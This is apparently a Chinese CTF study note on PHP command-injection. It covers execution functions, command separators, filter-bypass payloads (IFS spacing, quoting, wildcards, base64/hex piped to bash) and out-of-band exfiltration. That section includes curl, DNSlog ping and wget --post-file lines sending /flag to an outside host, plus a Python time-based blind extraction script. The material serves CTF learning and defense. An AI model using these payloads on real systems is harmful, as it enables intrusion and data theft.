前言

最近在复习总结关于CTFWEB 方向的考点,因为之前虽然学过,但是一直并没有成体系的笔记或者文章发布。
于是最近趁着在系统的学习 CTFWEB 方向的考点。对 CTF 中的命令执行做一次总结。

PHP中的命令执行函数

system

system — 执行外部程序,并且显示输出

参数 说明
command 要执行的命令

返回值: 成功则返回命令输出的最后一行,失败则返回 false

alt text

passthru

passthru — 执行外部程序并且显示原始输出

参数 说明
command 要执行的命令

返回值: 成功时返回 null, 或者在失败时返回 false

alt text

exec

exec — 执行一个外部程序,并返回执行结果的最后一行内容。

参数 说明
command 要执行的命令
output 如果设置该参数则使用命令执行的结果填充该数组。

返回值: 命令执行结果的最后一行内容,失败时返回 false

alt text

shell_exec

shell_exec — 通过 shell 执行命令并将完整的输出以字符串的方式返回。

参数 说明
command 要执行的命令

返回值: 返回已执行命令的输出类型为string,如果无法建立管道,则为 false,如果发生错误或者命令不产生输出则为 null

alt text

该函数同执行运算符,也就是一对反引号。

alt text

如果禁用了 shell_exec 函数的执行,那么反引号执行时无效的。

popen

popen - 打开进程文件指针,默认只会执行程序,并不会打印程序的执行结果。

参数 说明
command 要执行的命令
mode 模式。r 表示阅读,w 表示写入。

返回值: 返回打开文件的指针。

alt text

如果想要获取命令执行的结果,则需要使用 fread() 读取文件指针。

命令拼接符

Windows 和 Linux

1
2
3
4
command1 | command2 # 管道符前面和后面的命令都会执行,只不过只会返回后者的命令执行结果。如果1执行错误,则2不再执行
command1 || command2 # 如果1执行出错,则会执行2
command1 & command2 # 先执行1,不管成功与否都会执行2
command1 && command2 # 先执行1,如果执行出错则不再执行2,如果1执行成功则会执行2

Linux 独有的

1
command1;command2  # 先执行1再执行2,不管1成功与否都会执行2

Bypass 过滤

空格的过滤

1
2
3
4
5
6
7
$IFS  # 不推荐
${IFS}
$IFS$9
<
<>
{cat,flag.php}
%09 # 制表符Tab键

关键字过滤

假设题目过滤 flag.php 关键字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cat fl\ag.php # 反斜线转义
cat fl''ag.php # 单引号分割
cat fl""ag.php # 双引号分割
echo Y2F0IGZsYWcucGhw |base64 -d |bash # base64编码
echo 63617420666c61672e706870 | xxd -r -p | bash # hex 编码
cat f[l]ag.php # 通配符
cat f[k-m]ag.php # 通配符
cat f?ag.php # 通配符
cat fla*.php # 通配符
cat f{k..m}ag.php # 通配符
a=fl;cat ${a}ag.php # 变量做拼接
a=fl;b=ag;cat $a$b.php # 变量做拼接
cat `echo -n 666c61672e706870|xxd -r -p` # 内敛执行
echo -n 666c61672e706870|xxd -r -p | xargs cat # 内敛执行

cat命令过滤

可以尝试上面关键字过滤的方法,也可以使用如下命令做等价替换:

1
2
3
4
5
6
7
8
cat	    # 从第一行开始显示全部的文本内容
tac # 从最后一行开始,显示全部分文本内容,与 cat 相反
nl # 显示文本时,输出行号
more # 按页显示文件内容
less # 如 more 命令差不多,也是按页显示内容
head # 从头开始显示文件指定的行数,默认只显示前 10 行
tail # 显示文件指定的结尾行数
sort # 对文件内容进行排序

escapeshe[arg/cmd]

关于这俩函数的 bypass 请见文章: https://paper.seebug.org/164/

escapeshellcmd

escapeshellcmd — shell 元字符转义

参数 说明
command 要转义的命令
1
2
3
4
5
6
<?php
// 我们故意允许任意数量的参数
$command = './configure '.$_POST['configure_options'];
$escaped_command = escapeshellcmd($command);w
system($escaped_command);
?>

escapeshellcmd 作用有:

  1. 确保用户只执行了一个命令
  2. 用户可以指定不限量的参数
  3. 用户不能执行不同的命令

escapeshellarg

escapeshellarg — 把字符串转义为可以在 shell 命令里使用的参数

参数 说明
args 要转义的参数
1
2
3
<?php
system('ls '.escapeshellarg($_GET['dir']));
?>

escapeshellarg 作用有:

  1. 确保用户只传递一个参数给命令
  2. 用户不能指定更多的参数,只能是一个参数
  3. 用户不能执行不同的命令

无回显 RCE

请求带出

HTTP 请求带出

1
curl your_ip:your_port/?query=`cat /flag`

alt text

可以从结果中看到,这里我们的文件内容是 flag{...} 但是该符号由于是特殊字符,自动删除了,于是我们可以使用base64的形式进行编码之后传输。

alt text

DNSlog请求带出

1
ping `whoami`.yourname.cn  

alt text

但是由于是通过域名解析获取的文件内容,所以文件内容不能有特殊字符。也不能进行base64编码,因为base64编码里面可能有 =

所以只能选择十六进制编码:

1
ping  `xxd -p /flag`.yourname.cn 

alt text

但是由于域名的长度限制,故而只能带出最后几位字符,于是如果能使用 复制、剪切、反弹shell等功能尽量不要选择 DNSlog外带。

wget 请求带出

wget 的 --post-file 参数允许从一个文件中读取内容作为 POST 请求体的内容。

1
wget --post-file ./flag 120.48.128.24:2333

**alt text**

请求带出平台

平台地址 说明
http://www.dnslog.cn/ 只能使用 dnslog 外带,另外很多防火墙会 ban 掉该域名。
http://ceye.io/ 可以使用 http 外带和 dnslog 外带,推荐。

bash 时间盲注

截取

shell 中字符串截取可以使用 cut -c number 其中的 -c 参数指定的 number 表示截取第几个字符。

alt text

比较

使用 shell 中的 if 判断语句即可。其语法结构如下:

1
2
3
4
5
6
7
if condition
then
command1
command2
...
commandN
fi

例如判断 /flag 文件的第一个内容是不是 f,如果是就延时5 秒,否则什么都不做。

1
if [ `cut -c 1 /flag` = 'f' ];then sleep 5;fi

脚本编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

chars = [' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', '\\', ']', '^', '_', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~']
result = ""
url = "http://120.48.128.24:9090/"
for i in range(1,100):
for char in chars:
payload = f"?cmd=if [ `cut -c {i} /flag` = '{char}' ];then sleep 5;fi"
try:
req = requests.get(url + payload, timeout=5)
except:
result += char
print(result)
break
if (char == '~'):
break

执行结果:

alt text